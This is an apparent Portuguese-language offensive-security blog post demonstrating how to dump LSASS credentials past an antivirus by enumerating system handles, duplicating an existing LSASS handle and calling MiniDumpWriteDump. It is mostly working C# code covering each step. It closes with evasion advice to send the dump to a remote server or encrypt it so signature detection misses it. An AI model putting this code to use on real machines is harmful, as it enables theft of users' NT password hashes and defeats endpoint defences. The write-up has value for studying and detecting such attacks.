A reciclagem também está presente nos handles.
Como sabemos, o processo do LSASS é um tesouro quando se observado pelo lado ofensivo. É neste processo que informações de logons de usuários são armazenadas (como as valiosas NT hashes). Quando o assunto é dump de credenciais, um handle com permissões de PROCESS_VM_READ¹
ao LSASS se torna tudo o que um atacante quer.
PROCESS_VM_READ¹
: permissão necessária para a leitura da memória (dump) de um processo.
Nos últimos tempos, estive me aprofundando em técnicas de dump de LSASS que normalmente um EDR/XDR não detectaria. Em um laboratório, instalei um famoso antivírus do mercado (no qual não citarei o nome) e que me rendeu bastante trabalho. Quando eu abria um novo handle pro LSASS e tentava interagí-lo, um erro era retornado: STATUS_ACCESS_DENIED
.
No código, primeiro é aberto um novo handle pro LSASS com o privilégio PROCESS_CREATE_PROCESS²
. Como exibido na captura de tela acima, o erro ocorria na execução da API NtCreateProcessEx³
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
uint accessParentProcess = PROCESS_CREATE_PROCESS;
uint accessChildProcess = PROCESS_QUERY_INFORMATION | PROCESS_VM_READ ;
IntPtr hParentProcess = OpenProcess((uint)accessParentProcess, false, Convert.ToUInt32(pid)); // abrindo um handle ao LSASS com PROCESS_CREATE_PROCESS
Console.WriteLine($"[+] Handle: {hParentProcess}");
int ningning = NtCreateProcessEx( // clonando o processo do LSASS
out IntPtr hChildProcess,
(uint)accessChildProcess,
IntPtr.Zero,
hParentProcess,
0,
IntPtr.Zero,
IntPtr.Zero,
IntPtr.Zero,
false
);
if (ningning == 0)
{
uint hChildPid = GetProcessId(hChildProcess);
Console.WriteLine($"[^] Forked Handle: {hChildProcess}");
Console.WriteLine($"[^] Forked PID: {hChildPid}");
}
PROCESS_CREATE_PROCESS²
: permissão necessária criar um fork (clone) de um processo alvo.NtCreateProcessEx³
: API utilizada para criar um fork do processo LSASS.
Note que foi solicitada a abertura de um novo handle ao LSASS na linha 4 do código. Nele, é especificado que será aberto com os privilégios de PROCESS_CREATE_PROCESS
. Entretanto, como vimos, um erro de ACCESS DENIED
é retornado.
Pausando a execução do código e partindo para a análise do handle recém-aberto utilizando o programa Process Hacker, nos deparamos com algo bastante interessante:
Descobrimos o motivo do erro! Ao solicitar a abertura de um novo handle ao LSASS, antes dos privilégios serem atribuídos, o AV analisa as permissões que serão dadas e, dependendo delas, serão barradas e não atribuídas ao handle. No final, nenhuma permissão foi atribuída, ocasionando no erro.
Enumerando handles em aberto com Process Hacker
Como foi visto, não é possível solicitar a abertura de um handle ao LSASS sem que o AV barre a atribuição dos privilégios necessários para o dump. Mas, e se algum programa legítimo já tiver aberto um handle? A pergunta é facilmente respondida com o Process Hacker. Nele, uma funcionalidade que busca por handles filtrados pelo nome.
Podemos notar que, de todos os handles abertos ao LSASS, dois são do tipo “processo” (que é o que nos interessa). Averiguando as caracteristicas do handle destacado em vermelho, uma boa notícia vem à tona: suas permissões!
Maravilha! Como mostrado acima, duas permissões estão atribuídas ao handle LSASS: PROCESS_VM_READ
e PROCESS_QUERY_INFORMATION⁴
. É exatamente esta primeira permissão que nos permite ler a memória do processo.
Agora que já temos em mente que existe um handle em aberto ao LSASS com as permissões que queremos, vamos mergulhar no mundo das Windows APIs!
PROCESS_QUERY_INFORMATION⁴
: permissão necessária para descobrir certas informações sobre um processo, como token, código de saída e classe de prioridade.
NtQuerySystemInformation⁵
NtQuerySystemInformation⁵
: API utilizada para enumerar todos os handles em abertos no sistema.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public enum SYSTEM_INFORMATION_CLASS
{ SystemHandleInformation = 16 }
public struct SYSTEM_HANDLE_INFORMATION {
public uint Count;
public SYSTEM_HANDLE_TABLE_ENTRY_INFO Handle;
}
public struct SYSTEM_HANDLE_TABLE_ENTRY_INFO
{
public ushort UniqueProcessId;
public byte HandleAttributes;
public ushort HandleValue;
public IntPtr Object;
public uint GrantedAccess;
}
[DllImport("ntdll.dll")]
public static extern NTSTATUS NtQuerySystemInformation(
[In] SYSTEM_INFORMATION_CLASS SystemInformationClass,
[Out] IntPtr SystemInformation,
[In] int SystemInformationLength,
[In] ref int ReturnLength
);
Esta é uma API fundamental para todo o processo. Ela é do tipo NTSTATUS⁶
e pede alguns valores importantes. São eles:
SystemInformationClass
: uma tabela de valores sobre informações do sistema operacional. Neste caso, é necessário somente o valorSystemHandleInformation⁷
, representado pelo número 16 em hexadecimal.SystemInformation
: a saída da API. É um ponteiro que armazena as informações solicitadas. Neste caso, as informações dos handles em abertos.SystemInformationLength
: o tamanho do buffer, em bytes, apontado peloSystemInformation
.ReturnLength
: um ponteiro representando o local onde a função vai escrever o tamanho da informação solicitada pela API. Se o tamanho doReturnLength
for menor ou igual aoSystemInformationLength
, a informação será escrita dentro doSystemInformation
. Caso contrário, retorna o tamanho do buffer necessário para receber o resultado.
NTSTATUS⁶
: lista de valores que são representados como status code. Bastante utilizada em APIs.SystemHandleInformation⁷
: um struct que armazenas as informações de handles em abertos do sistema.
O valor retornado pelo SystemInformation
é um struct SYSTEM_HANDLE_INFORMATION
, como visto no código. Nele, é retornado dois valores:
- Count: número de handles abertos.
- Handle: um struct
SYSTEM_HANDLE_TABLE_ENTRY_INFO
que armazena informações precisas sobre o handle, como PID, privilégios de acesso, entre outros.
Inicialmente, não sabemos o tamanho necessário para alocar devido à incerteza do tamanho da resposta que será atribuída ao SystemInformation
. Caso o tamanho seja insuficiente, a API retorna o NTSTATUS de STATUS_INFO_LENGTH_MISMATCH
.
Se o resultado for STATUS_INFO_LENGTH_MISMATCH
, então mais memória deverá ser alocada para armazenar as informações. Logo, uma boa alternativa seria utilizar um loop que checa o resultado da API.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
var systemHandleInformation = new Netdump.Tables.SYSTEM_HANDLE_INFORMATION();
var systemInformationLength = Marshal.SizeOf(systemHandleInformation); // armazenando o tamanho do systemHandleInformation
var systemInformationPtr = Marshal.AllocHGlobal(systemInformationLength); // alocando memória ao systemInformationLength
var resultLength = 0;
while ( Netdump.Invokes.NtQuerySystemInformation(
Netdump.Tables.SYSTEM_INFORMATION_CLASS.SystemHandleInformation,
systemInformationPtr,
systemInformationLength,
ref resultLength ) == Netdump.Tables.NTSTATUS.STATUS_INFO_LENGTH_MISMATCH )
{
systemInformationLength = resultLength; // precisa ser do mesmo tamanho
Marshal.FreeHGlobal(systemInformationPtr); // liberando memória
systemInformationPtr = Marshal.AllocHGlobal(systemInformationLength); // atribuindo a nova memória baseada no valor do resultLength
Console.WriteLine($"[!] (NtQuerySystemInformation) Alocando mais memória: {systemInformationLength}");
}
Quando sair do loop, memória suficiente já terá sido alocada e um NTSTATUS de STATUS_SUCCESS
será retornado, simbolizando sucesso na chamada da API. Com isso, o ponteiro systemInformationPtr
armazenará dois tipos de informações: o número de handles em aberto e informações sobre eles.
1
2
3
var numberOfHandles = Marshal.ReadInt64(systemInformationPtr);
Console.WriteLine($"[+] Número de handles: {numberOfHandles}");
Feito isso, o próximo objetivo é analisar os handles que estão abertos e armazenados no systemInformationPtr
. Não é uma tarefa tão fácil, já que precisamos acessar handle por handle e realizar uma consulta na tabela SYSTEM_HANDLE_TABLE_ENTRY_INFO
para descobrirmos seu PID, por exemplo.
Para isso, é uma boa alternativa a criação de um dicionário que armazenará informações sobre os handles. Posteriormente, um loop que passará por todos eles através do numberOfHandles
. É neste loop que obteremos sobre seus respectivos PIDs e, depois, sobre seus níveis de acesso.
O PID, neste contexto, seria do processo no qual o handle está em aberto.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public static void IterateHandles(long numberOfHandles, IntPtr systemInformationPtr)
{
var handleEntryPtr = new IntPtr((long)systemInformationPtr + sizeof(long)); // apontando para o tamanho do numberOfHandles (primeiros 8 bytes)
Dictionary<int, List<Netdump.Tables.SYSTEM_HANDLE_TABLE_ENTRY_INFO>> handles = new(); // criando um dicionário
for (var i = 0; i < numberOfHandles; i++) // percorrendo por todos os handles
{
var handleTableEntry = (Netdump.Tables.SYSTEM_HANDLE_TABLE_ENTRY_INFO)Marshal.PtrToStructure(handleEntryPtr, typeof(Netdump.Tables.SYSTEM_HANDLE_TABLE_ENTRY_INFO)); // variável acessando a tabela SYSTEM_HANDLE_TABLE_ENTRY_INFO
handleEntryPtr = new IntPtr((long)handleEntryPtr + Marshal.SizeOf(handleTableEntry)); // avançando o ponteiro para a próxima entrada
if (!handles.ContainsKey(handleTableEntry.UniqueProcessId)) // verificando o UniqueProcessId (PID) pelo SYSTEM_HANDLE_TABLE_ENTRY_INFO
{
handles.Add(handleTableEntry.UniqueProcessId, new List<Netdump.Tables.SYSTEM_HANDLE_TABLE_ENTRY_INFO>());
// adicionando o PID se ele ainda não tiver catalogado no dicionário
}
handles[handleTableEntry.UniqueProcessId].Add(handleTableEntry);
}
Marshal.FreeHGlobal(systemInformationPtr);
Netdump.Invokes.CloseHandle(handleEntryPtr);
Netdump.Invokes.CloseHandle(systemInformationPtr);
Agora que as informações que precisamos estão armazenadas no dicionário, precisamos criar um foreach
para acessarmos elas de uma por uma. As informações que analisaremos são três: PID, AccessRights e handleStruct.HandleValue
.
- AccessRights: privilégios de acesso do handle. Buscamos por handles que contenham
PROCESS_VM_READ
. handleStruct.HandleValue
: valor proveniente doSYSTEM_HANDLE_TABLE_ENTRY_INFO
, é o identificador do handle.
Como são muitos handles, com muitos PIDs diferentes, será criado um if
para filtrar somente pelo PID que contém o handle pro LSASS (como foi visto pelo Process Hacker).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
public enum PROCESS_ACCESS : uint
{
// struct contendo algumas permissões de processos.
// neste caso, precisamos somente da PROCESS_VM_READ, mas fica ao seu critério.
PROCESS_TERMINATE = 0x0001,
PROCESS_CREATE_THREAD = 0x0002,
PROCESS_SET_SESSIONID = 0x0004,
PROCESS_VM_OPERATION = 0x0008,
PROCESS_VM_READ = 0x0010,
PROCESS_VM_WRITE = 0x0020,
PROCESS_DUP_HANDLE = 0x0040,
PROCESS_CREATE_PROCESS = 0x0080,
PROCESS_SET_QUOTA = 0x0100,
PROCESS_SET_INFORMATION = 0x0200,
PROCESS_QUERY_INFORMATION = 0x0400
}
foreach (var index in handles)
{
foreach(var handleStruct in index.Value) // handleStruct = SYSTEM_HANDLE_TABLE_ENTRY_INFO
{
Netdump.Tables.PROCESS_ACCESS grantedAccess = (Netdump.Tables.PROCESS_ACCESS)handleStruct.GrantedAccess;
if (grantedAccess.HasFlag(Netdump.Tables.PROCESS_ACCESS.PROCESS_VM_READ))
{
if (index.Key == 6020) // index.Key = PID
{
foreach (Netdump.Tables.PROCESS_ACCESS accessRight in Enum.GetValues(typeof(Netdump.Tables.PROCESS_ACCESS)))
{
Console.WriteLine($"O identificador do handle é: {handleStruct.HandleValue}. e seus privilégios são: {accessRight.ToString()}");
// obs: neste caso, é bom criar um "if" filtrando pelo PROCESS_ACCESS de PROCESS_VM_READ
// if (accessRight.ToString() == "PROCESS_VM_READ") ...
// estou mostrando todas as permissões de todos os handles para fins demonstrativos
}
}
}
}
}
NtDuplicateObject⁸
NtDuplicateObject⁸
: API utilizada para duplicar um handle alvo.
Com os identificadores dos handles (PID, AccessRights e HandleValue) em mãos, o próximo passo é duplicá-los para, posteriormente, interagirmos com eles. O processo de duplicação é bem simples, ainda mais quando se tem uma API própria para isso.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
[Flags]
public enum DUPLICATE_OPTION_FLAGS : uint
{
CLOSE_SOURCE = 0x00000001,
SAME_ACCESS = 0x00000002, // herda os privilégios de acessos do handle pai ao handle clonado
SAME_ATTRIBUTES = 0x00000004 // herda os atributos do handle pai ao handle clonado
}
[DllImport("ntdll.dll")]
public static extern NTSTATUS NtDuplicateObject(
IntPtr SourceProcessHandle,
IntPtr SourceHandle,
IntPtr TargetProcessHandle,
out IntPtr TargetHandle,
uint DesiredAccess,
bool InheritHandle,
DUPLICATE_OPTION_FLAGS Options
);
Para duplicar o handle, é necessário um privilégio essencial: PROCESS_DUP_HANDLE⁹
. Feito isso, após a abertura de um novo handle ao processo alvo (o que foi destacado no Process Hacker), é realizada a chamada da API.
Ela terá como resultado um novo handle, referenciado como hDuplicate
, que será o duplicado. Mas, não se enganem, este handle não é necessariamente o do LSASS. :P
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
uint acessOriginal = PROCESS_DUP_HANDLE; // setando privilégios de acesso
uint acessDuplicate = PROCESS_QUERY_INFORMATION | PROCESS_VM_READ; // setando privilégios de acesso
IntPtr hRemoteProcess = Netdump.Invokes.OpenProcess((uint)acessOriginal, false, 6020); // abrindo um handle pro processo que contém o handle do LSASS
if (hRemoteProcess == IntPtr.Zero) { throw new Exception($"[-] OpenProcess: {Marshal.GetLastWin32Error()}"); }
IntPtr hObject = new IntPtr(handleStruct.HandleValue); // o handleStruct.HandleValue é proveniente do SYSTEM_HANDLE_TABLE_ENTRY_INFO
Netdump.Tables.NTSTATUS result = Netdump.Invokes.NtDuplicateObject(
hRemoteProcess, // handle do processo alvo
hObject, // objeto do handle que será duplicado (serve como um identificador, é o HandleValue)
new IntPtr(-1), // criação de um pseudo handle
out IntPtr hDuplicate, // handle duplicado
(uint)acessDuplicate, // privilégios de acesso do handle duplicado
false, // herdar handles?
Netdump.Tables.DUPLICATE_OPTION_FLAGS.SAME_ACCESS // mesmo nível de acesso do handle original
);
if (result == Netdump.Tables.NTSTATUS.STATUS_SUCCESS && hDuplicate != IntPtr.Zero)
{
Console.WriteLine($"Handle duplicado! {hDuplicate}");
}
else { throw new Exception($"[-] NtDuplicateObject: {Marshal.GetLastWin32Error()}"); }
Netdump.Invokes.CloseHandle(hRemoteProcess);
Netdump.Invokes.CloseHandle(hDuplicate);
Netdump.Invokes.CloseHandle(hObject);
PROCESS_DUP_HANDLE⁹
: permissão necessária para duplicar um handle.
NtQueryObject¹¹
NtQueryObject¹¹
: API utilizada para filtrar informações de um objeto.
Chegando aos passos finais, vamos filtrar o tipo de handle que está sendo duplicado. Existem diversas modalidades deles, como handles de: Process
, Keys
, Files
, Threads
, entre outros. O tipo de handle que precisamos é da categoria Process
. Dito isso, uma API que filtra por esse tipo de informação é a NtQueryObject
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
[StructLayout(LayoutKind.Sequential, Pack = 1)]
public struct OBJECT_TYPE_INFORMATION
{
public UNICODE_STRING TypeName; // retorna o tipo do handle
}
public enum OBJECT_INFORMATION_CLASS : uint
{
ObjectBasicInformation = 0,
ObjectNameInformation = 1,
ObjectTypeInformation = 2,
ObjectAllTypesInformation = 3,
ObjectHandleInformation = 4
}
[DllImport("ntdll.dll", SetLastError = true)]
public static extern NTSTATUS NtQueryObject(
IntPtr Handle,
Netdump.Tables.OBJECT_INFORMATION_CLASS ObjectInformationClass,
IntPtr ObjectInformation,
int ObjectInformationLength,
ref int ReturnLength
);
OBJECT_INFORMATION_CLASS
: um enum que representa a categoria de informação que será retornado do objeto.
OBJECT_TYPE_INFORMATION
: um struct que retorna o tipo do objeto (TypeName).
O struct
OBJECT_TYPE_INFORMATION
só será utilizado depois da chamada aoOBJECT_INFORMATION_CLASS
. O resultado deste será filtrado posteriormente pelo struct.
Similarmente a API NtQuerySystemInformation
, também não sabemos o tamanho do resultado que a função retornará.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
var objTypeInfo = new Netdump.Tables.OBJECT_TYPE_INFORMATION();
var ObjectInformationLength = Marshal.SizeOf(objTypeInfo);
var ObjectInformation = Marshal.AllocHGlobal(ObjectInformationLength);
var returnLength = 0;
while (Netdump.Invokes.NtQueryObject(
hDuplicate,
Netdump.Tables.OBJECT_INFORMATION_CLASS.ObjectTypeInformation,
ObjectInformation,
ObjectInformationLength,
ref returnLength
) == Netdump.Tables.NTSTATUS.STATUS_INFO_LENGTH_MISMATCH)
{
ObjectInformationLength = returnLength;
Marshal.FreeHGlobal(ObjectInformation);
ObjectInformation = Marshal.AllocHGlobal(ObjectInformationLength);
}
A lógica continua a mesma: a cada vez que a API retornar o erro de STATUS_INFO_LENGTH_MISMATCH
, mais memória será alocada ao ObjectInformationLength
até completar o valor necessário para cobrir a resposta da API.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
Marshal.FreeHGlobal(ObjectInformation);
// acessando a tabela OBJECT_TYPE_INFORMATION
objTypeInfo = (Netdump.Tables.OBJECT_TYPE_INFORMATION)Marshal.PtrToStructure(ObjectInformation, typeof(Netdump.Tables.OBJECT_TYPE_INFORMATION));
var objTypeInfoBuf = new byte[objTypeInfo.TypeName.Length];
Marshal.Copy(objTypeInfo.TypeName.Buffer, objTypeInfoBuf, 0, objTypeInfo.TypeName.Length);
// transferindo memórias, o valor de objTypeInfo.TypeName será copiado ao objTypeInfoBuf
string hexValue = "0x" + hDuplicate.ToString("X");
var typeHandle = Encoding.Unicode.GetString(objTypeInfoBuf);
if (typeHandle.Equals("Process", StringComparison.OrdinalIgnoreCase)) // checando se o handle é do tipo "Process"
{
Console.WriteLine($"PID: {Netdump.Invokes.GetProcessId(hDuplicate)}. O handle {hexValue} é do tipo Process.");
}
No código acima, será acessado o valor TypeName
de cada handle que está representado no valor hDuplicate
. Caso o tipo do handle seja de Process
, o PID do processo e o identificador do handle é exibido.
QueryFullProcessImageName¹²
QueryFullProcessImageName¹²
: API utilizada para descobrir o path do executável de um processo.
Partindo para a penúltima etapa, agora será necessário descobrir o caminho do executável que está sendo referenciado no hDuplicate
. Para isso, a API QueryFullProcessImageName
se faz presente para cumprir esta função. Esta API é útil para, futuramente, filtrarmos pelo processo “lsass.exe”, onde desde o início foi o nosso alvo.
1
2
3
4
5
6
7
[DllImport("Kernel32.dll", CharSet = CharSet.Auto)]
public static extern bool QueryFullProcessImageName(
[In] IntPtr hProcess, // handle do processo
[In] uint dwFlags, // 0 = Win32 path
[Out] StringBuilder lpExeName, // saída da api, o path do exe
[In, Out] ref uint lpdwSize // tamanho do buffer do lpExeName
);
1
2
3
4
5
6
7
8
9
10
11
12
var typeHandle = Encoding.Unicode.GetString(objTypeInfoBuf);
int buffer = 1024;
var fileNameBuilder = new StringBuilder(buffer);
uint bufferLength = (uint)fileNameBuilder.Capacity + 1;
if (typeHandle.Equals("Process", StringComparison.OrdinalIgnoreCase))
{
var result = Netdump.Invokes.QueryFullProcessImageName(hDuplicate, 0, fileNameBuilder, ref bufferLength);
Console.WriteLine(fileNameBuilder.ToString());
}
Note, conforme exibido na figura abaixo, os caminhos dos executáveis dos diversos processos que estão passando pelo handle hDuplicate
. Vale ressaltar que todos esses caminhos simbolizam um handle em aberto para cada um desses executáveis.
Agora, para filtrar o caminho pelo “lsass.exe”, um simples if
.
1
2
3
4
5
6
7
8
9
10
if (pathExe.Equals("Process", StringComparison.OrdinalIgnoreCase))
{
if (Netdump.Invokes.QueryFullProcessImageName(hDuplicate, 0, fileNameBuilder, ref bufferLength))
{
if (fileNameBuilder.ToString().EndsWith("lsass.exe"))
{
Console.WriteLine($"[+] {hexValue}, PID: {Netdump.Invokes.GetProcessId(hDuplicate)}, Path: {fileNameBuilder.ToString()}");
}
}
}
E, finalmente! Temos um handle pro LSASS! Vamos pausar a execução do código e ver as permissões que o handle possui. Se tudo estiver certo, o handle duplicado do LSASS terá herdado as mesmas permissões que o handle original (PROCESS_QUERY_INFORMATION
e PROCESS_VM_READ
).
Uma alternativa ao uso da API
QueryFullProcessImageName
seria verificar se o PID dohDuplicate
é o mesmo que o do LSASS, ao invés de checar pelo path do executável.
1 2 3 4 5 6 7 if (pathExe.Equals("Process", StringComparison.OrdinalIgnoreCase)) { if (Netdump.Invokes.GetProcessId(hDuplicate) == lsass_pid) { Console.WriteLine($"[+] {hexValue}, PID: {Netdump.Invokes.GetProcessId(hDuplicate)}"); } }
MiniDumpWriteDump¹³
MiniDumpWriteDump¹³
: API utilizada para realizar o dump de um processo. Comumente utilizada em ataques ao LSASS.
Maravilha! Depois de todos esses processos, finalmente possuímos um handle válido pro LSASS! E com permissões de leitura de memória! Agora, será possível realizar o dump do processo.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
[Flags]
public enum MiniDumpType
{
MiniDumpWithFullMemory = 0x00000002
}
[DllImport("dbghelp.dll", SetLastError = true)]
public static extern bool MiniDumpWriteDump(
IntPtr hProcess,
int ProcessId,
SafeHandle hFile,
MiniDumpType DumpType,
IntPtr ExceptionParam,
IntPtr UserStreamParam,
IntPtr CallbackParam
);
public static void CreateDumpFile(IntPtr hDuplicate)
{
Console.WriteLine("\n[!] (MiniDumpWriteDump) Criando arquivo de despejo: .\\dump.dmp");
var fs = new FileStream("dump.dmp", FileMode.Create);
bool result = MiniDumpWriteDump(
hDuplicate, // handle duplicado do LSASS
0,
fs.SafeFileHandle,
MiniDumpType.MiniDumpWithFullMemory,
IntPtr.Zero,
IntPtr.Zero,
IntPtr.Zero
);
if (result == true) { Console.WriteLine("[+] (MiniDumpWriteDump) Dump realizado com sucesso."); }
}
E, sucesso! O arquivo “.\dump.dmp” contém o dump do processo do LSASS. Nomes de usuários e suas respectivas hashes NT são de se esperar na leitura deste arquivo, que pode ser feita utilizando a ferramenta pypykatz
.
Uma boa prática para evasão seria de não armazenar o arquivo do dump puro no disco. Ao invés disso, enviá-lo a algum servidor de destino ou criptografar o conteúdo do dump antes de salvá-lo. Tais práticas evitam a detecção por assinatura de arquivos DMP do LSASS.
Conclusão
Durante nossa jornada, identificamos uma barreira na abertura de um handle ao LSASS feito pelo antivírus e, a partir desta barreira, buscamos compreender métodos alternativos que nos levasse ao nosso objetivo. Em nossa trajetória, percorremos desde o entendimento básico do ataque até ao íntimo do sistema operacional Windows. Variedades de conhecimentos foram abordados nesta leitura, tais como:
- Programação;
- Windows API;
- Ataques ao sistema operacional;
- Evasão de softwares de defesas.
É de se ressaltar que, ao término deste artigo, buscamos alcançar uma mentalidade primordial na segurança ofensiva: entender como ocorrem os ataques por de trás dos panos. Desde já, agradeço enormemente a leitura. Espero que tenha contribuído de alguma forma em novos conhecimentos. Abraços. =]
Referências
https://rastamouse.me/duplicating-handles-in-csharp/
https://github.com/fortra/nanodump
https://learn.microsoft.com/en-us/windows/win32/api/winternl/nf-winternl-ntquerysysteminformation
https://malapi.io/winapi/NtDuplicateObject
https://learn.microsoft.com/en-us/windows/win32/api/winternl/nf-winternl-ntqueryobject
https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-queryfullprocessimagenamea